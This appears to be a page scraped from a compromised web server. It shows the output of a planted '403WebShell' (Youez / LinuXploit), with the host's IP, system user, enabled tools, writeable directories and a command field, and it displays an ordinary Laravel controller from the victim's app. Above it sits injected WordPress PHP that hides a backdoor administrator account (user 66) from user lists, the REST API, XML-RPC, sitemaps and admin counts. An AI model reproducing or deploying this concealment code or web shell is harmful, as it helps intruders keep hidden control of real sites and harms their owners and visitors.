add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/flnavigator/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/flnavigator/app/Http/Controllers/GraphController.php
<?php

namespace App\Http\Controllers;

use App\Models\Material;
use Illuminate\Http\JsonResponse;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;

class GraphController extends Controller
{
    public function index()
    {
        // Filter sidebar is rendered server-side (we don't depend on Alpine
        // being ready before our @push('scripts') module loads). The same
        // payload is computed for the JSON endpoint below — kept in sync via
        // filterOptions().
        return view('graph.index', [
            'filters' => $this->filterOptions(),
        ]);
    }

    /**
     * Per-term lookup for click handler on the graph: fetch the EN translation
     * from the read-only glossary connection. Returns 404 if the slug isn't in
     * the upstream catalogue. Cached because the catalogue is small + stable.
     */
    public function glossaryTerm(string $slug): JsonResponse
    {
        $row = DB::connection('glossary')
            ->table('glossary_terms as t')
            ->leftJoin('glossary_translations as tr', function ($j) {
                $j->on('t.id', '=', 'tr.term_id')->where('tr.language', 'en');
            })
            ->where('t.slug', $slug)
            ->select('t.slug', 'tr.title', 'tr.summary', 'tr.status as tr_status')
            ->first();

        if (!$row) {
            return response()->json(['error' => 'term not found'], 404);
        }

        $materialCount = DB::table('material_glossary_terms')
            ->where('term_slug', $slug)
            ->count();

        return response()->json([
            'slug'           => $row->slug,
            'title'          => $row->title ?: ucfirst($slug),
            // Summary may be the 12-char placeholder for the 4 still-draft EN
            // translations — the frontend can show a fallback when empty/short.
            'summary'        => $row->summary && strlen($row->summary) > 20 ? $row->summary : null,
            'isDraft'        => $row->tr_status === 'draft',
            'materialCount'  => $materialCount,
            'browseUrl'      => route('materials.index', ['glossary' => [$slug]]),
        ]);
    }

    private function filterOptions(): array
    {
        $materials = Material::published()->get(['id', 'type', 'level', 'ebene', 'language', 'cost']);

        $present = fn(string $f) => $materials->pluck($f)->filter()->unique()->values()->all();
        $presentEbenen = $materials->pluck('ebene')->flatten()->filter()->unique()->values()->all();

        // Concept filter: each row of the pivot is a (material → term) link.
        // We expose distinct (slug, title) pairs ordered alphabetically (not by
        // usage) so the filter list is stable and doesn't get a Matthew effect.
        $concepts = DB::table('material_glossary_terms')
            ->select('term_slug', 'term_title', DB::raw('COUNT(*) as n'))
            ->groupBy('term_slug', 'term_title')
            ->orderBy('term_title')
            ->get()
            ->map(fn($r) => ['value' => $r->term_slug, 'label' => $r->term_title])
            ->values()->all();

        return [
            'concepts' => $concepts,
            'ebenen' => collect(Material::EBENEN)
                ->only($presentEbenen)
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
            'levels' => collect(Material::LEVELS)
                ->only($present('level'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
            'types' => collect(Material::TYPES)
                ->only($present('type'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v['label']])
                ->values()->all(),
            'languages' => collect($present('language'))
                ->map(fn($v) => ['value' => $v, 'label' => strtoupper($v)])
                ->values()->all(),
            'costs' => collect(Material::COSTS)
                ->only($present('cost'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
        ];
    }

    /**
     * Focus-map payload — now structured by glossary concepts (approach 1+4):
     *
     *   - Material nodes (small, type-coloured).
     *   - Concept nodes (large, distinct colour, sized by # materials linked).
     *   - Edges material ↔ concept only — concept anchors do the structural
     *     work the shared-tag edges used to do, with the benefit that
     *     concepts are curated (= meaningful neighbourhoods) rather than
     *     emergent from folksonomic overlap.
     *
     * Frontend filters fade non-matching MATERIAL nodes; concept nodes always
     * render full-strength so the map's anchors stay readable.
     */
    public function data(): JsonResponse
    {
        $materials = Material::published()
            ->with(['tags:id,name,color', 'glossaryTerms:id,material_id,term_slug,term_title'])
            ->get();

        // ---- material nodes ---------------------------------------------
        $materialNodes = $materials->map(function (Material $m) {
            $thumb = $m->thumbnail;
            $thumbnailUrl = $thumb
                ? (str_starts_with($thumb, 'http') ? $thumb : Storage::disk('public')->url($thumb))
                : null;

            return [
                'id'           => 'm_' . $m->id,
                'nodeType'     => 'material',
                'materialId'   => $m->id,
                'name'         => $m->title,
                'materialType' => $m->type,
                'author'       => $m->author,
                'level'        => $m->level,
                'ebene'        => $m->ebene ?? [],
                'language'     => $m->language,
                'cost'         => $m->cost,
                'tagIds'       => $m->tags->pluck('id')->all(),
                'tagNames'     => $m->tags->pluck('name')->all(),
                'concepts'     => $m->glossaryTerms->pluck('term_slug')->all(),
                'thumbnail'    => $thumbnailUrl,
                'url'          => route('materials.show', $m),
            ];
        })->values();

        // ---- concept nodes ----------------------------------------------
        // Build from the pivot rows so we only render terms that are actually
        // linked. Title comes from the pivot's denormalised `term_title` — no
        // round-trip to the glossary connection needed for the layout.
        $conceptRows = DB::table('material_glossary_terms')
            ->select('term_slug', 'term_title', DB::raw('COUNT(*) as material_count'))
            ->groupBy('term_slug', 'term_title')
            ->get();

        $conceptNodes = $conceptRows->map(fn($r) => [
            'id'            => 'c_' . $r->term_slug,
            'nodeType'      => 'concept',
            'slug'          => $r->term_slug,
            'name'          => $r->term_title,
            'materialCount' => (int) $r->material_count,
        ])->values();

        $nodes = $materialNodes->concat($conceptNodes)->values();

        // ---- material ↔ concept edges -----------------------------------
        $links = [];
        foreach ($materials as $m) {
            foreach ($m->glossaryTerms as $t) {
                $links[] = [
                    'source' => 'm_' . $m->id,
                    'target' => 'c_' . $t->term_slug,
                    'weight' => 1,
                ];
            }
        }

        // ---- filter options ---------------------------------------------
        $present = function (string $field) use ($materialNodes) {
            return $materialNodes->pluck($field)->filter()->unique()->values()->all();
        };
        $presentEbenen = $materialNodes->pluck('ebene')->flatten()->filter()->unique()->values()->all();

        $filters = [
            'concepts' => $conceptRows->sortBy('term_title')   // alphabetical filter list (avoid Matthew effect)
                ->map(fn($r) => ['value' => $r->term_slug, 'label' => $r->term_title])
                ->values()->all(),
            'ebenen' => collect(Material::EBENEN)
                ->only($presentEbenen)
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
            'levels' => collect(Material::LEVELS)
                ->only($present('level'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
            'types' => collect(Material::TYPES)
                ->only($present('materialType'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v['label']])
                ->values()->all(),
            'languages' => collect($present('language'))
                ->map(fn($v) => ['value' => $v, 'label' => strtoupper($v)])
                ->values()->all(),
            'costs' => collect(Material::COSTS)
                ->only($present('cost'))
                ->map(fn($v, $k) => ['value' => $k, 'label' => $v])
                ->values()->all(),
        ];

        return response()->json([
            'nodes'   => $nodes,
            'links'   => $links,
            'filters' => $filters,
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit